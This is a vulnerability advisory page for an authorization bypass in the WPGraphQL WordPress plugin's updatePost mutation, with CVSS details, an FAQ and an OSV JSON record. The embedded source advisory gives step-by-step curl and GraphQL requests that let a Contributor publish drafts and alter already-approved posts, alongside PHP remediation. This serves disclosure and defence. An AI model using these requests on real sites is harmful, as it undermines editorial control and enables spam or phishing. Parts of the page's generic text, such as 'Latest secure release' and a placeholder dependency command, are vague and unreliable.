CVE-2026-88974: WPGraphQL Contributor Can Publish And Modify Vulnerability

MODERATE
Advisory Identifier: GHSA-5mmc-8pc9-wggg
CVSS 5.4
CWE-863
Published
Advisory Summary

CVE-2026-88974 is a MODERATE (CVSS 5.4) contributor can publish and modify vulnerability (CWE-863: Incorrect Authorization) affecting WPGraphQL libraries in the Packagist ecosystem. The issue involves contributor can publish and modify posts without the required capabilities via updatepost. Remediation is available in the latest vendor maintenance releases.

CVE-2026-88974 at a Glance

CVE Identifier CVE-2026-88974
GHSA Identifier GHSA-5mmc-8pc9-wggg
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-863: Incorrect Authorization
Affected Product WPGraphQL
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-88974

To remediate this vulnerability, upgrade all affected WPGraphQL dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wp-graphql/wp-graphql fixed: Latest secure release
Upgrade wp-graphql/wp-graphql to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wp-graphql/wp-graphql

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-88974, inspect your project dependencies for WPGraphQL:

inspect dependencies for wp-graphql/wp-graphql

Analyze the terminal output to locate any version of WPGraphQL in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In WPGraphQL, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary WPGraphQL 2.19.0 contains an authorization bypass in the `updatePost` mutation. An authenticated WordPress Contributor can change one of their own draft posts to `PUBLISH` despite lacking the `publish_posts` capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking `edit_published_posts` and failing WordPress's object-level `edit_post` capability check. This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user. ## Affected software - Plugin: WPGraphQL - Plugin slug: `wp-graphql` - Confirmed affected version: `2.19.0` - Plugin URL: https://wordpress.org/plugins/wp-graphql/ - Repository: https://github.com/wp-graphql/wp-graphql - WordPress version used for testing: `7.0.2` - WPGraphQL configuration: default settings Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested. ## Vulnerability type - Broken access control / authorization bypass - CWE-863: Incorrect Authorization - OWASP 2021: A01 – Broken Access Control - Minimum required role: Contributor ## Technical cause `src/Mutation/PostObjectUpdate.php` checks only the post type's collection-level `edit_posts` capability: ```php if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) { // Reject request. } ``` It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check: ```php current_user_can( $post_type_object->cap->edit_post, $post_id ) ``` It also does not check `publish_posts` when the requested update changes the post status to `publish`. The mutation passes the requested status directly to `wp_update_post()`, which expects its caller to have already enforced authorization. By comparison, WPGraphQL's `createPost` implementation explicitly checks `publish_posts` and changes an unauthorized requested status to `pending`. This protection is absent from `updatePost`. ## Preconditions 1. WPGraphQL 2.19.0 is installed and activated using its default settings. 2. The attacker controls a normal WordPress Contributor account. 3. The attacker can authenticate to `/graphql`, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid `wp_graphql`/`wp_rest` nonce. No administrator action beyond assigning the standard Contributor role is required. The Contributor role has `edit_posts`, but does not have `publish_posts` or `edit_published_posts`. ## Reproduction The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS. ### 1. Create a draft as the Contributor ```bash curl --user 'gql_contributor:APPLICATION_PASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \ 'https://wordpress.example/graphql' ``` Example response: ```json { "data": { "createPost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "draft" } } } } ``` Record the returned `databaseId`. The example below uses `21`. ### 2. Verify that WordPress REST denies publication Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API: ```bash curl --user 'gql_contributor:APPLICATION_PASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"status":"publish"}' \ 'https://wordpress.example/wp-json/wp/v2/posts/21' ``` Expected control response: ```json { "code": "rest_cannot_publish", "message": "Sorry, you are not allowed to publish posts.", "data": { "status": 403 } } ``` This establishes that the Contributor lacks the WordPress capability required for the operation. ### 3. Publish the same draft through WPGraphQL ```bash curl --user 'gql_contributor:APPLICATION_PASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \ 'https://wordpress.example/graphql' ``` Observed response on WPGraphQL 2.19.0: ```json { "data": { "updatePost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "publish", "uri": "/contributor-publication-bypass-test/" } } } } ``` The post is now publicly accessible without editorial approval. ### 4. Verify public exposure remotely Open the returned `uri` without authentication, or query it without credentials: ```bash curl -H 'Content-Type: application/json' \ --data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId title status uri } }"}' \ 'https://wordpress.example/graphql' ``` The post is returned with status `publish`. ## Additional affected operation If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack `edit_published_posts`. Nevertheless, the following mutation changes its title and content: ```graphql mutation { updatePost(input: { id: "PUBLISHED_POST_DATABASE_ID" title: "Unauthorized change after editorial approval" content: "The Contributor can replace previously approved content." }) { post { databaseId title status } } } ``` In live testing, the REST API returned `403 rest_cannot_edit` for this operation while WPGraphQL returned the modified published post. ## Security impact A compromised or malicious Contributor account can bypass the site's editorial approval boundary and: - Publish arbitrary posts without an Editor or Administrator approving them. - Publish spam, phishing, misleading, or SEO content under the attacker's account. - Modify content after an Editor has reviewed and published it. - Change the status of the attacker's previously published posts, potentially removing approved content from public view. - Repeat the process for additional drafts because Contributors can normally create drafts. The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML. ## Suggested remediation Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior: ```php if ( ! isset( $post_type_object->cap->edit_post ) || ! current_user_can( $post_type_object->cap->edit_post, $post_id ) ) { throw new UserError( /* authorization error */ ); } ``` Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's `publish_posts` capability. Tests should cover at least: - Contributor updating their own draft: allowed. - Contributor publishing their own draft: denied or changed to `pending`. - Contributor editing their own previously published post: denied. - Author publishing and editing their own post: allowed. - Contributor editing another author's post: denied.

CVE-2026-88974 Affected WPGraphQL Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wp-graphql/wp-graphql
Packagist

References

Frequently Asked Questions

What is CVE-2026-88974?
CVE-2026-88974 is a security vulnerability in WPGraphQL involving Contributor can publish and modify posts without the required capabilities via updatePost under CWE-863: Incorrect Authorization.
Which WPGraphQL versions are affected?
Affected versions include releases prior to current release patches across affected packages: wp-graphql/wp-graphql.
What version fixes CVE-2026-88974?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wp-graphql/wp-graphql affected?
Yes, wp-graphql/wp-graphql is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-88974?
CVE-2026-88974 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-88974?
CVE-2026-88974 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Packagist dependencies for CVE-2026-88974?
Run the dependency tree command: 'inspect dependencies for wp-graphql/wp-graphql'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5mmc-8pc9-wggg",
  "modified" : "2026-09-23T14:13:04Z",
  "published" : "2026-09-23T14:13:04Z",
  "aliases" : [ "CVE-2026-88974" ],
  "summary" : "WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost",
  "details" : "## Summary\n\nWPGraphQL 2.19.0 contains an authorization bypass in the `updatePost` mutation. An authenticated WordPress Contributor can change one of their own draft posts to `PUBLISH` despite lacking the `publish_posts` capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking `edit_published_posts` and failing WordPress's object-level `edit_post` capability check.\n\nThis bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.\n\n## Affected software\n\n- Plugin: WPGraphQL\n- Plugin slug: `wp-graphql`\n- Confirmed affected version: `2.19.0`\n- Plugin URL: https://wordpress.org/plugins/wp-graphql/\n- Repository: https://github.com/wp-graphql/wp-graphql\n- WordPress version used for testing: `7.0.2`\n- WPGraphQL configuration: default settings\n\nOnly version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.\n\n## Vulnerability type\n\n- Broken access control / authorization bypass\n- CWE-863: Incorrect Authorization\n- OWASP 2021: A01 – Broken Access Control\n- Minimum required role: Contributor\n\n## Technical cause\n\n`src/Mutation/PostObjectUpdate.php` checks only the post type's collection-level `edit_posts` capability:\n\n```php\nif ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {\n    // Reject request.\n}\n```\n\nIt separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:\n\n```php\ncurrent_user_can( $post_type_object->cap->edit_post, $post_id )\n```\n\nIt also does not check `publish_posts` when the requested update changes the post status to `publish`. The mutation passes the requested status directly to `wp_update_post()`, which expects its caller to have already enforced authorization.\n\nBy comparison, WPGraphQL's `createPost` implementation explicitly checks `publish_posts` and changes an unauthorized requested status to `pending`. This protection is absent from `updatePost`.\n\n## Preconditions\n\n1. WPGraphQL 2.19.0 is installed and activated using its default settings.\n2. The attacker controls a normal WordPress Contributor account.\n3. The attacker can authenticate to `/graphql`, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid `wp_graphql`/`wp_rest` nonce.\n\nNo administrator action beyond assigning the standard Contributor role is required. The Contributor role has `edit_posts`, but does not have `publish_posts` or `edit_published_posts`.\n\n## Reproduction\n\nThe following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.\n\n### 1. Create a draft as the Contributor\n\n```bash\ncurl --user 'gql_contributor:APPLICATION_PASSWORD' \\\n  -H 'Content-Type: application/json' \\\n  --data-binary '{\"query\":\"mutation { createPost(input:{title:\\\"Contributor publication bypass test\\\", content:\\\"Created by a Contributor and not reviewed by an editor.\\\", status:DRAFT}) { post { databaseId title status } } }\"}' \\\n  'https://wordpress.example/graphql'\n```\n\nExample response:\n\n```json\n{\n  \"data\": {\n    \"createPost\": {\n      \"post\": {\n        \"databaseId\": 21,\n        \"title\": \"Contributor publication bypass test\",\n        \"status\": \"draft\"\n      }\n    }\n  }\n}\n```\n\nRecord the returned `databaseId`. The example below uses `21`.\n\n### 2. Verify that WordPress REST denies publication\n\nUsing the same Contributor credentials, attempt to publish the draft through the WordPress REST API:\n\n```bash\ncurl --user 'gql_contributor:APPLICATION_PASSWORD' \\\n  -H 'Content-Type: application/json' \\\n  --data-binary '{\"status\":\"publish\"}' \\\n  'https://wordpress.example/wp-json/wp/v2/posts/21'\n```\n\nExpected control response:\n\n```json\n{\n  \"code\": \"rest_cannot_publish\",\n  \"message\": \"Sorry, you are not allowed to publish posts.\",\n  \"data\": {\n    \"status\": 403\n  }\n}\n```\n\nThis establishes that the Contributor lacks the WordPress capability required for the operation.\n\n### 3. Publish the same draft through WPGraphQL\n\n```bash\ncurl --user 'gql_contributor:APPLICATION_PASSWORD' \\\n  -H 'Content-Type: application/json' \\\n  --data-binary '{\"query\":\"mutation { updatePost(input:{id:\\\"21\\\", status:PUBLISH}) { post { databaseId title status uri } } }\"}' \\\n  'https://wordpress.example/graphql'\n```\n\nObserved response on WPGraphQL 2.19.0:\n\n```json\n{\n  \"data\": {\n    \"updatePost\": {\n      \"post\": {\n        \"databaseId\": 21,\n        \"title\": \"Contributor publication bypass test\",\n        \"status\": \"publish\",\n        \"uri\": \"/contributor-publication-bypass-test/\"\n      }\n    }\n  }\n}\n```\n\nThe post is now publicly accessible without editorial approval.\n\n### 4. Verify public exposure remotely\n\nOpen the returned `uri` without authentication, or query it without credentials:\n\n```bash\ncurl -H 'Content-Type: application/json' \\\n  --data-binary '{\"query\":\"query { post(id:\\\"21\\\", idType:DATABASE_ID) { databaseId title status uri } }\"}' \\\n  'https://wordpress.example/graphql'\n```\n\nThe post is returned with status `publish`.\n\n## Additional affected operation\n\nIf an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack `edit_published_posts`. Nevertheless, the following mutation changes its title and content:\n\n```graphql\nmutation {\n  updatePost(input: {\n    id: \"PUBLISHED_POST_DATABASE_ID\"\n    title: \"Unauthorized change after editorial approval\"\n    content: \"The Contributor can replace previously approved content.\"\n  }) {\n    post {\n      databaseId\n      title\n      status\n    }\n  }\n}\n```\n\nIn live testing, the REST API returned `403 rest_cannot_edit` for this operation while WPGraphQL returned the modified published post.\n\n## Security impact\n\nA compromised or malicious Contributor account can bypass the site's editorial approval boundary and:\n\n- Publish arbitrary posts without an Editor or Administrator approving them.\n- Publish spam, phishing, misleading, or SEO content under the attacker's account.\n- Modify content after an Editor has reviewed and published it.\n- Change the status of the attacker's previously published posts, potentially removing approved content from public view.\n- Repeat the process for additional drafts because Contributors can normally create drafts.\n\nThe issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.\n\n## Suggested remediation\n\nBefore updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:\n\n```php\nif (\n    ! isset( $post_type_object->cap->edit_post ) ||\n    ! current_user_can( $post_type_object->cap->edit_post, $post_id )\n) {\n    throw new UserError( /* authorization error */ );\n}\n```\n\nStatus transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's `publish_posts` capability. Tests should cover at least:\n\n- Contributor updating their own draft: allowed.\n- Contributor publishing their own draft: denied or changed to `pending`.\n- Contributor editing their own previously published post: denied.\n- Author publishing and editing their own post: allowed.\n- Contributor editing another author's post: denied.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wp-graphql/wp-graphql"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 2.22.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-5mmc-8pc9-wggg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wp-graphql/wp-graphql/pull/4270"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wp-graphql/wp-graphql/commit/55441663eaa33c3f2e05de038c8286c845916461"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wp-graphql/wp-graphql"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.22.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-23T14:13:04Z",
    "nvd_published_at" : null
  }
}